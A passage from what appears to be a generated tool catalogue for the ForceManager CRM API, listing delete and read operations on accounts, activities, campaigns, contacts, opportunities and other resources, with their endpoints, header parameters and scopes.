implementation database. If the specified Sale does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/sales/{sale_id}. Scopes: api. forcemanager_delete_salesorders_by_id (write, destructive) — Delete Order Header via DELETE /salesorders/{order_id}. This endpoint allows you to delete a specific Order Header from the user's ForceManager implementation database. If the specified Order Header does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/salesorders/{order_id}. Scopes: api. forcemanager_delete_salesorderslines_by_id (write, destructive) — Delete Order Line via DELETE /salesordersLines/{order_line_id}. This endpoint allows you to delete a specific Order Line from the user's ForceManager implementation database. If the specified Order Line does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/salesordersLines/{order_line_id}. Scopes: api. forcemanager_delete_salesorderstatuses_by_id (write, destructive) — Delete Order Status via DELETE /salesorderStatuses/{order_status_id}. This endpoint allows you to delete a specific Order Status from the user's ForceManager implementation database. If the specified Order Status does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/salesorderStatuses/{order_status_id}. Scopes: api. forcemanager_delete_users_by_id (write, destructive) — Delete User via DELETE /users/{user_id}. This endpoint allows you to delete a specific User from the user's ForceManager account database. If the specified User does not exist, the response will be a "bad request". This operation cannot be undone.
DELETE /api/v1/forcemanager/users/{user_id}. Scopes: api. forcemanager_delete_users_by_id_roles (write, destructive) — Delete Roles in User via DELETE /users/{user_id}/roles. This endpoint allows you to delete a specific User's Role from the user's ForceManager account database. If the specified User's Role does not exist, the response will be a "bad request". This operation cannot be undone. DELETE /api/v1/forcemanager/users/{user_id}/roles. Scopes: api. forcemanager_delete_usertypes_by_id (write, destructive) — Delete User Type via DELETE /userTypes/{user_type_id}. Deletes one User Type by its integer id. If the specified User Type does not exist, the response is a bad request. This operation cannot be undone. DELETE /api/v1/forcemanager/userTypes/{user_type_id}. Scopes: api. forcemanager_get_accountaddresses (read) — List Account Addresses via GET /accountAddresses. Returns all Account Addresses available in the user's ForceManager implementation database. GET /api/v1/forcemanager/accountAddresses. Scopes: api. forcemanager_get_accountaddresses_by_id (read) — Get Account Address via GET /accountAddresses/{account_address_id}. This endpoint retrieves data of a specific Account Address based on JSON input. The API returns a single Address available to the user, according to the unique ID provided. If the specified Account Address does not exist, the response will be a "bad request". GET /api/v1/forcemanager/accountAddresses/{account_address_id}. Scopes: api. forcemanager_get_accountaddresses_schema (read) — Account Addresses schema via GET /accountAddresses/schema. The Schema is metadata that tells you how the data is structured for this specific Value list. GET /api/v1/forcemanager/accountAddresses/schema. Scopes: api. forcemanager_get_accounts (read) — List Accounts via GET /accounts. Returns all Accounts available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/accounts. Scopes: api. forcemanager_get_accounts_by_id (read) — Get Account via GET /accounts/{account_id}. This endpoint retrieves data of a specific Account based on JSON input. The API returns a single Account available to the user, according to the unique ID provided. If the specified Account does not exist, the response will be a "bad request". `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/accounts/{account_id}. Scopes: api. forcemanager_get_accounts_schema (read) — Accounts schema via GET /accounts/schema. The Schema is metadata that tells you how the data is structured for a specific resource. The Schema defines all the fields that exist for an Account object. GET /api/v1/forcemanager/accounts/schema. Scopes: api. forcemanager_get_accountsegments (read) — List Account Segments via GET /accountSegments. Returns all Account Segments available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/accountSegments. Scopes: api. forcemanager_get_accountsegments_by_id (read) — Get Account Segment via GET /accountSegments/{account_segment_id}. This endpoint retrieves data of a specific Account Segment based on JSON input. The API returns a single Account Segment available to the user in the Value List, according to the unique ID provided. If the specified Account Segment does not exist, the response will be a "bad request". GET /api/v1/forcemanager/accountSegments/{account_segment_id}. Scopes: api. forcemanager_get_accountsegments_schema (read) — Account Segments schema via GET /accountSegments/schema. Returns properties object with the definition of each field in the Account Segment table. With the Account Segment you can differentiate the Account based on specific visit cycles, hence assigning a priority to each Account. GET /api/v1/forcemanager/accountSegments/schema. Scopes: api. forcemanager_get_accountsrelated (read) — List Related Accounts via GET /accountsRelated. Returns all Related Accounts available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/accountsRelated. Scopes: api. forcemanager_get_accountsrelated_by_id (read) — Retrieve Related Account via GET /accountsRelated/{related_account_id}. This endpoint retrieves data of a specific Related Account based on JSON input. The API returns a single Related Account available to the user, according to the unique ID provided. If the specified Related Account does not exist, the response will be a "bad request". GET /api/v1/forcemanager/accountsRelated/{related_account_id}. Scopes: api. forcemanager_get_accountsrelated_schema (read) — Related Accounts schema via GET /accountsRelated/schema. The Schema is metadata that tells you how the data is structured for a specific resource. The schema defines all the fields that exist for a Related Account object. GET /api/v1/forcemanager/accountsRelated/schema. Scopes: api. forcemanager_get_accountsrelations (read) — List Related Account Types via GET /accountsRelations. Returns all Related Account Types available, based on JSON input. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. GET /api/v1/forcemanager/accountsRelations. Scopes: api. forcemanager_get_accountsrelations_by_id (read) — Retrieve Related Account Type via GET /accountsRelations/{related_account_type_id}. This endpoint retrieves data of a specific Related Account Type based on JSON input. The API returns a single Type available to the user in the Value List, according to the unique ID provided. If the specified Related Account Type does not exist, the response will be a "bad request". GET /api/v1/forcemanager/accountsRelations/{related_account_type_id}. Scopes: api. forcemanager_get_accountsrelations_schema (read) — Related Account Types schema via GET /accountsRelations/schema. Returns properties object with the definition of each field in the Related Account Type table. With the Related Account Type you can differentiate the Type of Relation. GET /api/v1/forcemanager/accountsRelations/schema. Scopes: api. forcemanager_get_accountstatuses (read) — List Account Statuses via GET /accountStatuses. Returns all Account Statuses available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/accountStatuses. Scopes: api. forcemanager_get_accountstatuses_by_id (read) — Get Account Status via GET /accountStatuses/{account_status_id}. This endpoint retrieves data of a specific Account Status based on JSON input. The API returns a single Account Status available to the user in the Value List, according to the unique ID provided. If the specified Account Status does not exist, the response will be a "bad request". GET /api/v1/forcemanager/accountStatuses/{account_status_id}. Scopes: api. forcemanager_get_accountstatuses_schema (read) — Account Statuses schema via GET /accountStatuses/schema. Returns properties object with the definition of each field in the Account Status table. GET /api/v1/forcemanager/accountStatuses/schema. Scopes: api. forcemanager_get_accounttypes (read) — List Account Types via GET /accountTypes. Returns all Account Types available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/accountTypes. Scopes: api. forcemanager_get_accounttypes_by_id (read) — Get Account Type via GET /accountTypes/{account_type_id}. Returns one Account Type by its integer id. An Account Type carries its translated descriptions, its branch visibility, and the computeSfm and internal flags that decide whether it counts for sales analytics and whether it is for internal use only. The sealed contract documents this operation with a RESPONSE table and no prose of its own; this description is authored from that table. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. GET /api/v1/forcemanager/accountTypes/{account_type_id}. Scopes: api. forcemanager_get_accounttypes_schema (read) — Account Types schema via GET /accountTypes/schema. Returns properties object with the definition of each field in the Account Type table. GET /api/v1/forcemanager/accountTypes/schema. Scopes: api. forcemanager_get_activities (read) — List Activities via GET /activities. Returns all Activities available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/activities. Scopes: api. forcemanager_get_activities_by_id (read) — Get Activity via GET /activities/{activity_id}. This endpoint retrieves data of a specific Activity based on JSON input. The API returns a single Activity available to the user, according to the unique ID provided. If the specified Activity does not exist, the response will be a "bad request". `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/activities/{activity_id}. Scopes: api. forcemanager_get_activities_schema (read) — Activities schema via GET /activities/schema. The Schema is metadata that tells you how the data is structured for a specific resource. The schema defines all the fields that exist for an Activity object. GET /api/v1/forcemanager/activities/schema. Scopes: api. forcemanager_get_activity_points (read) — List Activity Points via GET /activity/points. Returns all Activity Points available in the user's ForceManager implementation database. GET /api/v1/forcemanager/activity/points. Scopes: api. forcemanager_get_activitytypes (read) — List Activity Types via GET /activityTypes. Returns all Activity Types available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/activityTypes. Scopes: api. forcemanager_get_activitytypes_by_id (read) — Get Activity Type via GET /activityTypes/{activity_type_id}. This endpoint retrieves data of a specific Activity Type based on JSON input. The API returns a single Type available to the user in the Value List, according to the unique ID provided. If the specified Activity Type does not exist, the response will be a "bad request". GET /api/v1/forcemanager/activityTypes/{activity_type_id}. Scopes: api. forcemanager_get_activitytypes_schema (read) — Activity Types schema via GET /activityTypes/schema. Returns properties object with the definition of each field in the Activity Type table. With the Activity Type you can differentiate the Type of Activity with which professional relationships are stablished. GET /api/v1/forcemanager/activityTypes/schema. Scopes: api. forcemanager_get_branches (read) — List Branches via GET /branches. Returns all Branches. GET /api/v1/forcemanager/branches. Scopes: api. forcemanager_get_branches_by_id (read) — Get Branch via GET /branches/{branch_id}. This endpoint retrieves data of a specific Branch based on JSON input. The API returns a single Branch available to the user in the Value List, according to the unique ID provided. If the specified Branch does not exist, the response will be a "bad request". GET /api/v1/forcemanager/branches/{branch_id}. Scopes: api. forcemanager_get_branches_schema (read) — Branches schema via GET /branches/schema. Returns properties object with the definition of each field in the Branches table. GET /api/v1/forcemanager/branches/schema. Scopes: api. forcemanager_get_calendar (read) — List Calendar via GET /calendar. Returns all Events and Tasks available in the user's ForceManager implementation database based on JSON input. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/calendar. Scopes: api. forcemanager_get_calendar_by_id (read) — Get Calendar via GET /calendar/{calendar_entry_id}. This endpoint retrieves data of a specific calendar Event or Task based on JSON input. The API returns a single Type available to the user, according to the unique ID provided. If the specified calendar Event or Task does not exist, the response will be a "bad request". `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/calendar/{calendar_entry_id}. Scopes: api. forcemanager_get_calendar_schema (read) — Calendar schema via GET /calendar/schema. The Schema is a metadata that tells you how the data is structured for a specific resource. The schema defines all the fields that exist for a Event/Task object. Returns properties object with the definition of each field in the Event/Task table. GET /api/v1/forcemanager/calendar/schema. Scopes: api. forcemanager_get_calls (read) — List Calls via GET /calls. Returns all Calls available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. GET /api/v1/forcemanager/calls. Scopes: api. forcemanager_get_calls_by_id (read) — Get Call via GET /calls/{call_id}. This endpoint retrieves data of a specific Call based on JSON input. The API returns a single Call available to the user, according to the unique ID provided. If the specified Call does not exist, the response will be a "bad request". GET /api/v1/forcemanager/calls/{call_id}. Scopes: api. forcemanager_get_calls_by_phone (read) — Get Resources by Phone Number via GET /calls/phone/{phone_number}. Returns the ids of the Contacts, Accounts and Users associated with a specific phone number -- the vendor's own one-line account of this route, from the Calls API method table ('Get a list of Contacts, Accounts, Users IDs referred to a specific phone number'). It is a lookup, not a read of a Call: pass the phone number in the path. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. GET /api/v1/forcemanager/calls/phone/{phone_number}. Scopes: api. forcemanager_get_campaignquestions (read) — List Campaign Questions via GET /campaignQuestions. Returns all Campaign Questions available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/campaignQuestions. Scopes: api. forcemanager_get_campaignquestions_by_id (read) — Get Campaign Question via GET /campaignQuestions/{question_id}. This endpoint retrieves data of a specific Campaign Question based on JSON input. The API returns a single Campaign Question available to the user, according to the unique ID provided. If the specified Campaign Question does not exist, the response will be a "bad request". GET /api/v1/forcemanager/campaignQuestions/{question_id}. Scopes: api. forcemanager_get_campaignquestions_by_id_answers (read) — List Question Answers via GET /campaignQuestions/{question_id}/answers. Returns all Campaign Question Answers available in the user's ForceManager implementation database. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/campaignQuestions/{question_id}/answers. Scopes: api. forcemanager_get_campaignquestions_by_id_answers_by_id (read) — Get Question Answer via GET /campaignQuestions/{question_id}/answers/{answer_id}. This endpoint retrieves data of a specific Campaign Question Answer based on JSON input. The API returns a single Campaign Question Answer available to the user, according to the unique ID provided. If the specified Campaign Question Answer does not exist, the response will be a "bad request". GET /api/v1/forcemanager/campaignQuestions/{question_id}/answers/{answer_id}. Scopes: api. forcemanager_get_campaignquestions_by_id_values (read) — List Question Values via GET /campaignQuestions/{question_id}/values. Returns all Campaign Question Values available in the user's ForceManager implementation database. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/campaignQuestions/{question_id}/values. Scopes: api. forcemanager_get_campaignquestions_by_id_values_by_id (read) — Get Question Value via GET /campaignQuestions/{question_id}/values/{value_id}. This endpoint retrieves data of a specific Campaign Question Value based on JSON input. The API returns a single Campaign Question Value available to the user, according to the unique ID provided. If the specified Campaign Question Value does not exist, the response will be a "bad request". GET /api/v1/forcemanager/campaignQuestions/{question_id}/values/{value_id}. Scopes: api. forcemanager_get_campaigns (read) — List Campaigns via GET /campaigns. Returns all Campaigns available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/campaigns. Scopes: api. forcemanager_get_campaigns_by_id (read) — Get Campaign via GET /campaigns/{campaign_id}. This endpoint retrieves data of a specific Campaign based on JSON input. The API returns a single Campaign available to the user, according to the unique ID provided. If the specified Campaign does not exist, the response will be a "bad request". GET /api/v1/forcemanager/campaigns/{campaign_id}. Scopes: api. forcemanager_get_campaigns_by_id_entities (read) — List Campaign Accounts via GET /campaigns/{campaign_id}/entities. Returns all Campaign Accounts available in the user's ForceManager implementation database. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/campaigns/{campaign_id}/entities. Scopes: api. forcemanager_get_campaigns_by_id_entities_by_entity_id (read) — Get Campaign Account via GET /campaigns/{campaign_id}/entities/{entity_id}. This endpoint retrieves data of a specific Campaign Account based on JSON input. The API returns a single Campaign Account available to the user, according to the unique ID provided. If the specified Campaign Account does not exist, the response will be a "bad request". GET /api/v1/forcemanager/campaigns/{campaign_id}/entities/{entity_id}. Scopes: api. forcemanager_get_campaignstatuses (read) — List Campaign Statuses via GET /campaignStatuses. Returns all Campaign Statuses available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/campaignStatuses. Scopes: api. forcemanager_get_contacts (read) — List Contacts via GET /contacts. Returns all Contacts available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/contacts. Scopes: api. forcemanager_get_contacts_by_id (read) — Get Contact via GET /contacts/{contact_id}. This endpoint retrieves data of a specific Contact based on JSON input. The API returns a single Contact available to the user, according to the unique ID provided. If the specified Contact does not exist, the response will be a "bad request". GET /api/v1/forcemanager/contacts/{contact_id}. Scopes: api. forcemanager_get_contacts_schema (read) — Contacts schema via GET /contacts/schema. The Schema is metadata that tells you how the data is structured for a specific resource. The schema defines all the fields that exist for a Contact object. GET /api/v1/forcemanager/contacts/schema. Scopes: api. forcemanager_get_contactsentities (read) — List Entity Contacts via GET /contactsEntities. Returns all Entity Contacts available. Entity Contacts are basically needed to associate more than one User to an Entity (e.g. the Opportunities with more than one sales rep). GET /api/v1/forcemanager/contactsEntities. Scopes: api. forcemanager_get_contactsentities_schema (read) — Entity Contacts schema via GET /contactsEntities/schema. Returns properties object with the definition of each field in the Entity Contacts table. GET /api/v1/forcemanager/contactsEntities/schema. Scopes: api. forcemanager_get_contacttypes (read) — List Contact Types via GET /contactTypes. Returns all Contact Types available in the user's ForceManager implementation database. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/contactTypes. Scopes: api. forcemanager_get_contacttypes_by_id (read) — Get Contact Type via GET /contactTypes/{contact_type_id}. This endpoint retrieves data of a specific Contact Type based on JSON input. The API returns a single Contact Type available to the user in the Value List, according to the unique ID provided. If the specified Contact Type does not exist, the response will be a "bad request". GET /api/v1/forcemanager/contactTypes/{contact_type_id}. Scopes: api. forcemanager_get_contacttypes_schema (read) — Contact Types schema via GET /contactTypes/schema. Returns properties object with the definition of each field in the Contact Types table. GET /api/v1/forcemanager/contactTypes/schema. Scopes: api. forcemanager_get_countries (read) — List Countries via GET /countries. Returns all Countries available. Countries are basically needed for the geolocalized data (e.g. Accounts, Opportunities, Activities) in which a full address need to be specified. GET /api/v1/forcemanager/countries. Scopes: api. forcemanager_get_countries_schema (read) — Countries schema via GET /countries/schema. Returns properties object with the definition of each field in the Countries table. GET /api/v1/forcemanager/countries/schema. Scopes: api. forcemanager_get_currencies (read) — List Currencies via GET /currencies. Returns all Currencies available. Currencies are needed for defining the measurement unit of the Opportunities. GET /api/v1/forcemanager/currencies. Scopes: api. forcemanager_get_currencies_schema (read) — Currencies schema via GET /currencies/schema. Returns properties object with the definition of each field in the Currencies table. GET /api/v1/forcemanager/currencies/schema. Scopes: api. forcemanager_get_documents (read) — List Documents via GET /documents. Returns all Documents available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/documents. Scopes: api. forcemanager_get_documents_folders (read) — List Folders via GET /documents/folders. Returns all Folders available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/documents/folders. Scopes: api. forcemanager_get_emails (read) — List Emails via GET /emails. Returns all Emails available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. GET /api/v1/forcemanager/emails. Scopes: api. forcemanager_get_emails_by_id (read) — Get Email via GET /emails/{email_id}. This endpoint retrieves data of a specific Email based on JSON input. The API returns a single Email available to the user, according to the unique ID provided. If the specified Email does not exist, the response will be a "bad request". GET /api/v1/forcemanager/emails/{email_id}. Scopes: api. forcemanager_get_emails_schema (read) — Emails schema via GET /emails/schema. The Schema is metadata that tells you how the data is structured for a specific resource. The schema defines all the fields that exist for a Email object. GET /api/v1/forcemanager/emails/schema. Scopes: api. forcemanager_get_entityowners (read) — List Entity Owners via GET /entityOwners. Returns all Entity Owners available. Entity Owners are basically needed to associate more than one User to an Entity (e.g. the Opportunities with more than one sales rep). GET /api/v1/forcemanager/entityOwners. Scopes: api. forcemanager_get_entityowners_schema (read) — Entity Owners schema via GET /entityOwners/schema. Returns properties object with the definition of each field in the Entity Owners table. GET /api/v1/forcemanager/entityOwners/schema. Scopes: api. forcemanager_get_extrafields_by_resource (read) — List Extra Fields by Resource via GET /extrafields/{resource}. Returns all Extra Fields available in the user's ForceManager implementation database, for a specific Entity. `resource` is the entity name in the first path segment; the vendor documents `accounts`, `activities`, `calendar`, `contacts`, `opportunities`, `products`, `rates`, `salesorders`, `users` -- the one place the vendor writes 'The allowed values are'. That is prose, not a schema -- its capitalisation differs between the vendor's own articles -- so the value is passed through unchanged. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. GET /api/v1/forcemanager/extrafields/{resource}. Scopes: api. forcemanager_get_extrafields_by_resource_schema (read) — Extra Fields schema by Resource via GET /extrafields/{resource}/schema. The Schema is metadata that tells you how the data is structured for a specific resource. The schema defines all the fields that exist for an Extra Field object. `resource` is the entity name in the first path segment; the vendor documents `accounts`, `activities`, `calendar`, `contacts`, `opportunities`, `products`, `rates`, `salesorders`, `users`. That is prose, not a schema -- its capitalisation differs between the vendor's own articles -- so the value is passed through unchanged. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. GET /api/v1/forcemanager/extrafields/{resource}/schema. Scopes: api. forcemanager_get_extrafieldstabs (read) — List Tabs via GET /extrafieldsTabs. Returns all Tabs available. Tabs are needed for grouping together Extra Fields of each entity. GET /api/v1/forcemanager/extrafieldsTabs. Scopes: api. forcemanager_get_extrafieldstabs_by_id (read) — Get Tabs via GET /extrafieldsTabs/{tab_id}. This endpoint retrieves data of a specific Tab based on JSON input. The API returns a single Tab available, according to the unique ID provided. If the specified Tab does not exist, the response will be a "bad request". GET /api/v1/forcemanager/extrafieldsTabs/{tab_id}. Scopes: api. forcemanager_get_forms_by_id (read) — Get Form via GET /forms/{form_id}. This endpoint retrieves data of a specific Form based on JSON input. The API returns a single Form available to the user, according to the unique ID provided. If the specified Form does not exist, the response will be a "bad request". GET /api/v1/forcemanager/forms/{form_id}. Scopes: api. forcemanager_get_forms_by_id_state (read) — Get Form State via GET /forms/{form_id}/state. This endpoint retrieves data of a specific Form State based on JSON input. The API returns a single Form State available to the user, according to the unique ID provided. If the specified Form State does not exist, the response will be a "bad request". GET /api/v1/forcemanager/forms/{form_id}/state. Scopes: api. forcemanager_get_forms_by_id_template (read) — Get Form Template via GET /forms/{form_id}/template. This endpoint retrieves data of a specific Form Template based on JSON input. The API returns a single Form Template available to the user, according to the unique ID provided. If the specified Form Template does not exist, the response will be a "bad request". GET /api/v1/forcemanager/forms/{form_id}/template. Scopes: api. forcemanager_get_hooks (read) — List Webhooks via GET /hooks. Returns all Webhooks available in the user's ForceManager implementation database. GET /api/v1/forcemanager/hooks. Scopes: api. forcemanager_get_hooks_by_id (read) — Get Webhook via GET /hooks/{webhook_id}. This endpoint retrieves data of a specific Webhook based on JSON input. The API returns a single Webhook available, according to the unique ID provided. If the specified Webhook does not exist, the response will be a "bad request". GET /api/v1/forcemanager/hooks/{webhook_id}. Scopes: api. forcemanager_get_list (read) — List Lists via GET /list. Returns all Lists available in the user's ForceManager implementation database based on JSON input. GET /api/v1/forcemanager/list. Scopes: api. forcemanager_get_list_by_name (read) — List Values via GET /list/{list_name}. Returns all Values for the Value List available in the user's ForceManager implementation database based on JSON input. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. GET /api/v1/forcemanager/list/{list_name}. Scopes: api. forcemanager_get_list_by_name_by_id (read) — Get Value via GET /list/{list_name}/{value_id}. This endpoint retrieves data of a specific Value from a specific Value List based on JSON input. The API returns a single Value available to the user in the Value List, according to the unique ID provided. If the specified Value or Value List do not exist, the response will be a "bad request". GET /api/v1/forcemanager/list/{list_name}/{value_id}. Scopes: api. forcemanager_get_list_by_name_schema (read) — Values List schema via GET /list/{list_name}/schema. The Value List API provides a simple interface to manage your extra or customised Value Lists. Value Lists are personalised and predetermined values that help you unify criteria when entering data into a field and help organise these elements. The Schema is metadata that tells you how the data is structured for this specific customised Value List. An id that does not exist answers 400, not 404 (the vendor's own wording), so read the error body rather than the status. GET /api/v1/forcemanager/list/{list_name}/schema. Scopes: api. forcemanager_get_news (read) — List News via GET /news. Returns all News available. News are basically messages that you can sent to the whole organization, to your team or to an User. These messages can be tracked in terms of the number of Users that had received, open or read it. GET /api/v1/forcemanager/news. Scopes: api. forcemanager_get_opportunities (read) — List Opportunities via GET /opportunities. Returns all Opportunities available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/opportunities. Scopes: api. forcemanager_get_opportunities_by_id (read) — Get Opportunity via GET /opportunities/{opportunity_id}. This endpoint retrieves data of a specific Opportunity based on JSON input. The API returns a single Opportunity available to the user, according to the unique ID provided. If the specified Opportunity does not exist, the response will be a "bad request". GET /api/v1/forcemanager/opportunities/{opportunity_id}. Scopes: api. forcemanager_get_opportunities_schema (read) — Opportunities schema via GET /opportunities/schema. The Schema is metadata that tells you how the data is structured for a specific resource. The Schema defines all the fields that exist for an Opportunity object. GET /api/v1/forcemanager/opportunities/schema. Scopes: api. forcemanager_get_opportunitystatuses (read) — List Opportunity Statuses via GET /opportunityStatuses. Returns all Opportunity Statuses available in the user's ForceManager implementation database. GET /api/v1/forcemanager/opportunityStatuses. Scopes: api. forcemanager_get_opportunitystatuses_by_id (read) — Get Opportunity Status via GET /opportunityStatuses/{opportunity_status_id}. This endpoint retrieves data of a specific Opportunity Status based on JSON input. The API returns a single Opportunity Status available to the user in the Value List, according to the unique ID provided. If the specified Opportunity Status does not exist, the response will be a "bad request". GET /api/v1/forcemanager/opportunityStatuses/{opportunity_status_id}. Scopes: api. forcemanager_get_opportunitystatuses_schema (read) — Opportunity Statuses schema via GET /opportunityStatuses/schema. Returns properties object with the definition of each field in the Opportunity Status table. GET /api/v1/forcemanager/opportunityStatuses/schema. Scopes: api. forcemanager_get_opportunitytypes (read) — List Opportunity Types via GET /opportunityTypes. Returns all Opportunity Types available in the user's ForceManager implementation database. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. `extra_field_description` is sent as the `ExtraFieldDescription` header: 0 returns Extra Field values only, 1 their descriptions too. GET /api/v1/forcemanager/opportunityTypes. Scopes: api. forcemanager_get_opportunitytypes_by_id (read) — Get Opportunity Types via GET /opportunityTypes/{opportunity_type_id}. This endpoint retrieves data of a specific Opportunity Type based on JSON input. The API returns a single Opportunity Type available to the user in the Value List, according to the unique ID provided. If the specified Opportunity Type does not exist, the response will be a "bad request". GET /api/v1/forcemanager/opportunityTypes/{opportunity_type_id}. Scopes: api. forcemanager_get_opportunitytypes_schema (read) — Opportunity Types schema via GET /opportunityTypes/schema. Returns properties object with the definition of each field in the Opportunity Types table. GET /api/v1/forcemanager/opportunityTypes/schema. Scopes: api. forcemanager_get_ordertypes (read) — List Order Types via GET /orderTypes. Returns all Orders Types available. GET /api/v1/forcemanager/orderTypes. Scopes: api. forcemanager_get_ordertypes_by_id (read) — Get Order Types via GET /orderTypes/{order_type_id}. This endpoint retrieves data of a specific Order Types based on JSON input. The API returns a single Type available to the user in the Value List, according to the unique ID provided. If the specified Order Types does not exist, the response will be a "bad request". GET /api/v1/forcemanager/orderTypes/{order_type_id}. Scopes: api. forcemanager_get_ordertypes_schema (read) — Order Types schema via GET /orderTypes/schema. The Schema is metadata that tells you how the data is structured for this specific Value list. GET /api/v1/forcemanager/orderTypes/schema. Scopes: api. forcemanager_get_productcategories (read) — List Product Categories via GET /productCategories. Returns all Product Categories available. `count` is sent as the `Count` header and sets the page SIZE (default 50); this build ships no page selector, because the converted contract declares no query parameter on any operation. GET /api/v1/forcemanager/productCategories. Scopes: api. forcemanager_get_productcategories_by_id (read) — Get Product Category via GET /productCategories/{product_category_id}. This endpoint retrieves data of a specific Product Category based on JSON input. The API returns a single Product Category available to the user in the Value List, according to the unique ID provided. If the specified Category does not exist, the response will be a "bad request". GET 